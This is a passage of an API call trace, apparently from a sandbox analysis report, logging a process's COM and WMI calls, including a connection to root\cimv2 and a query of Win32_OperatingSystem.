Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0299.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496dc0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0299.868] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0299.868] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0299.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496dc0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0299.868] WbemLocator:IUnknown:Release (This=0x1d496dc0) returned 0x2 [0299.868] WbemLocator:IUnknown:Release (This=0x1d496dc0) returned 0x1 [0299.868] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0299.868] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0299.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496dc0, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d496dc0) returned 0x0 [0299.868] WbemLocator:IUnknown:AddRef (This=0x1d496dc0) returned 0x3 [0299.868] WbemLocator:IUnknown:Release (This=0x1d496dc0) returned 0x2 [0299.868] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0299.868] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0299.869] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0299.869] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d497360) returned 0x0 [0299.869] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d497360, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d474a80) returned 0x0 [0300.343] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474a80, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b350b20) returned 0x0 [0300.343] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b350b20, pProxy=0x1d474a80, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0300.343] WbemLocator:IUnknown:Release (This=0x1b350b20) returned 0x1 [0300.343] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474a80, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b350b68) returned 0x0 [0300.343] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474a80, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b350b20) returned 0x0 [0300.343] WbemLocator:IClientSecurity:SetBlanket (This=0x1b350b20, pProxy=0x1d474a80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0300.343] WbemLocator:IUnknown:Release (This=0x1b350b20) returned 0x2 [0300.343] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0300.343] CoTaskMemFree (pv=0x1d472250) [0300.343] WbemLocator:IUnknown:Release (This=0x1d497360) returned 0x0 [0300.343] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474a80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b350b68) returned 0x0 [0300.344] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0300.344] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0300.344] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474a80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0300.345] WbemLocator:IUnknown:AddRef (This=0x1b350b68) returned 0x3 [0300.345] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0300.345] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0300.345] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b350a48) returned 0x0 [0300.345] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350a48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0300.345] WbemLocator:IUnknown:Release (This=0x1b350a48) returned 0x3 [0300.345] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0300.345] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0300.345] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b350b30) returned 0x0 [0300.345] WbemLocator:IRpcOptions:Query (in: This=0x1b350b30, pPrx=0x1b350b68, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0300.345] WbemLocator:IUnknown:Release (This=0x1b350b30) returned 0x3 [0300.345] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x2 [0300.345] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0300.345] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0300.345] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d474a80) returned 0x0 [0300.346] WbemLocator:IUnknown:AddRef (This=0x1d474a80) returned 0x4 [0300.346] WbemLocator:IUnknown:Release (This=0x1d474a80) returned 0x3 [0300.346] WbemLocator:IUnknown:Release (This=0x1d474a80) returned 0x2 [0300.346] SysStringLen (param_1=0x0) returned 0x0 [0300.346] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0300.346] WbemLocator:IUnknown:AddRef (This=0x1b350b68) returned 0x3 [0300.346] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b350b68) returned 0x0 [0300.346] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x3 [0300.346] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x2 [0300.346] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0300.346] WbemLocator:IUnknown:AddRef (This=0x1d474a80) returned 0x3 [0300.346] IWbemServices:ExecQuery (in: This=0x1d474a80, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35ae90) returned 0x0 [0300.355] IUnknown:QueryInterface (in: This=0x1d35ae90, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35ae98) returned 0x0 [0300.355] IClientSecurity:QueryBlanket (in: This=0x1d35ae98, pProxy=0x1d35ae90, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0300.355] IUnknown:Release (This=0x1d35ae98) returned 0x1 [0300.355] IUnknown:QueryInterface (in: This=0x1d35ae90, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b352088) returned 0x0 [0300.355] IUnknown:QueryInterface (in: This=0x1d35ae90, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35ae98) returned 0x0 [0300.355] IClientSecurity:SetBlanket (This=0x1d35ae98, pProxy=0x1d35ae90, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0300.411] IUnknown:Release (This=0x1d35ae98) returned 0x2 [0300.411] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0300.411] CoTaskMemFree (pv=0x1d471a10) [0300.412] IUnknown:QueryInterface (in: This=0x1d35ae90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b352088) returned 0x0 [0300.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0300.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0300.412] IUnknown:QueryInterface (in: This=0x1d35ae90, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0300.413] WbemLocator:IUnknown:AddRef (This=0x1b352088) returned 0x3 [0300.413] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0300.413] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0300.413] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b351f68) returned 0x0 [0300.413] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351f68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0300.413] WbemLocator:IUnknown:Release (This=0x1b351f68) returned 0x3 [0300.413] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0300.413] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0300.413] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b352050) returned 0x0 [0300.413] WbemLocator:IRpcOptions:Query (in: This=0x1b352050, pPrx=0x1b352088, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0300.413] WbemLocator:IUnknown:Release (This=0x1b352050) returned 0x3 [0300.414] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x2 [0300.414] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0300.414] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0300.414] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35ae90) returned 0x0 [0300.414] IUnknown:AddRef (This=0x1d35ae90) returned 0x4 [0300.414] IUnknown:Release (This=0x1d35ae90) returned 0x3 [0300.414] IUnknown:Release (This=0x1d35ae90) returned 0x2 [0300.414] WbemLocator:IUnknown:Release (This=0x1d474a80) returned 0x2 [0300.414] SysStringLen (param_1=0x0) returned 0x0 [0300.414] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0300.414] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0300.414] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0300.414] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0300.414] IUnknown:AddRef (This=0x1d35ae90) returned 0x3 [0300.414] IEnumWbemClassObject:Clone (in: This=0x1d35ae90, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35c4e0) returned 0x0 [0300.415] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35c4e8) returned 0x0 [0300.415] IClientSecurity:QueryBlanket (in: This=0x1d35c4e8, pProxy=0x1d35c4e0, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0300.415] IUnknown:Release (This=0x1d35c4e8) returned 0x1 [0300.415] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b352228) returned 0x0 [0300.415] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35c4e8) returned 0x0 [0300.415] IClientSecurity:SetBlanket (This=0x1d35c4e8, pProxy=0x1d35c4e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0300.417] IUnknown:Release (This=0x1d35c4e8) returned 0x2 [0300.417] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x1 [0300.417] CoTaskMemFree (pv=0x1d471dd0) [0300.418] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b352228) returned 0x0 [0300.418] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0300.418] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0300.419] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0300.419] WbemLocator:IUnknown:AddRef (This=0x1b352228) returned 0x3 [0300.419] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0300.421] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0300.421] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b352108) returned 0x0 [0300.421] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b352108, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0300.421] WbemLocator:IUnknown:Release (This=0x1b352108) returned 0x3 [0300.422] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0300.422] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0300.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b3521f0) returned 0x0 [0300.422] WbemLocator:IRpcOptions:Query (in: This=0x1b3521f0, pPrx=0x1b352228, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0300.422] WbemLocator:IUnknown:Release (This=0x1b3521f0) returned 0x3 [0300.422] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x2 [0300.422] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0300.422] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0300.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35c4e0) returned 0x0 [0300.422] IUnknown:AddRef (This=0x1d35c4e0) returned 0x4 [0300.422] IUnknown:Release (This=0x1d35c4e0) returned 0x3 [0300.422] 